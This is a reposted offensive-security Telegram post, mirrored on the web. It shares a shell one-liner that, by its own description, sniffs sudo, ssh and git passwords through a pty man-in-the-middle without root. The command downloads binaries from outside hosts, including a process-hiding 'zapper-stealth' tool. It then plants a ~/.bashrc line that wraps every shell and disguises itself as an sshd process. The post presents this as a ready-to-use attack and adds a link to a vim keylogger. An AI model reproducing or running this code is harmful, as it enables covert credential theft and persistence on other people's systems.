APT
  • Home
  • Archive
  • About
  • Explore
Subscribe
APT
Subscribe
APT

A ~/.bashrc 1-liner to sniff

APT
APT
May 6, 2024, 21:02 UTC

Forwarded from Offensive Xwitter


A ~/.bashrc 1-liner to sniff

😈 [ The Hacker's Choice (@thc@infosec.exchange) @hackerschoice ]

A ~/.bashrc 1-liner to sniff 🐶 sudo/ssh/git passwords (pty MitM). No root required 👀

command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& curl -o ~/.config/.pty/pty -fsSL "https://bin.ajam.dev/$(uname -m)/Baseutils/script" \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t0 ] && [[ "$HISTFILE" != *null* ]] && [ -x ~/.config/.pty/ini ] && [ -x ~/.config/.pty/pty ] && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -qaec "exec -a -bash '"$(command -v bash)"'" -I ~/.config/.pty/.@pty-unix.$$\e[0m'

🔗 https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet?tab=readme-ov-file#10-session-sniffing-and-hijaking

🐥 [ tweet ]

прикольно, напомнило https://ppn.snovvcrash.rocks/pentest/infrastructure/post-exploitation#vim-keylogger

🔥8❤‍🔥25,030 views
APT

Discuss this post in Telegram

React, comment and get new posts first in the APT channel — 17.7K subscribers.

Open post in TelegramSubscribe

More from APT

  • Certighost (CVE-2026-54121) — AD CS Domain Controller Impersonation
    Jul 24, 2026 · 32.3K views
  • DirtyClone — CVE-2026-43503
    Jun 26, 2026 · 29.9K views
  • P³ — Shellcode Loader: Process Parameter Poisoning
    Jul 9, 2026 · 16.8K views
  • Citrix NetScaler Pre-Auth RCE (CVE-2026-8452)
    Aug 17, 2026 · 16.6K views
← PreviousОй, красота))) Получить данные из LSA без дампа LSASS
Next →Pentest Award: Ежегодная независимая премия для пентестеров
🔥❤‍🔥105Kviews
APT
APT
17.7K subscribers
Subscribe

This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

Popular

See all
  • Certighost (CVE-2026-54121) — AD CS Domain Controller Impersonation
    32.3K views · Jul 24, 2026
  • APT
    DirtyClone — CVE-2026-43503
    29.9K views · Jun 26, 2026
  • P³ — Shellcode Loader: Process Parameter Poisoning
    16.8K views · Jul 9, 2026
  • Citrix NetScaler Pre-Auth RCE (CVE-2026-8452)
    16.6K views · Aug 17, 2026
  • Certi-Bhai — IIS AppPool → NT AUTHORITY\SYSTEM via AD CS RPC
    11.5K views · Sep 1, 2026

Topics

Explore
#redteam#ad#bugbounty#windows#tools#pentest#cve#rce#bypass#edr#evasion#blueteam#bugbountytips#maldev
AboutArchiveTopicsRSSTelegram© 2026 APT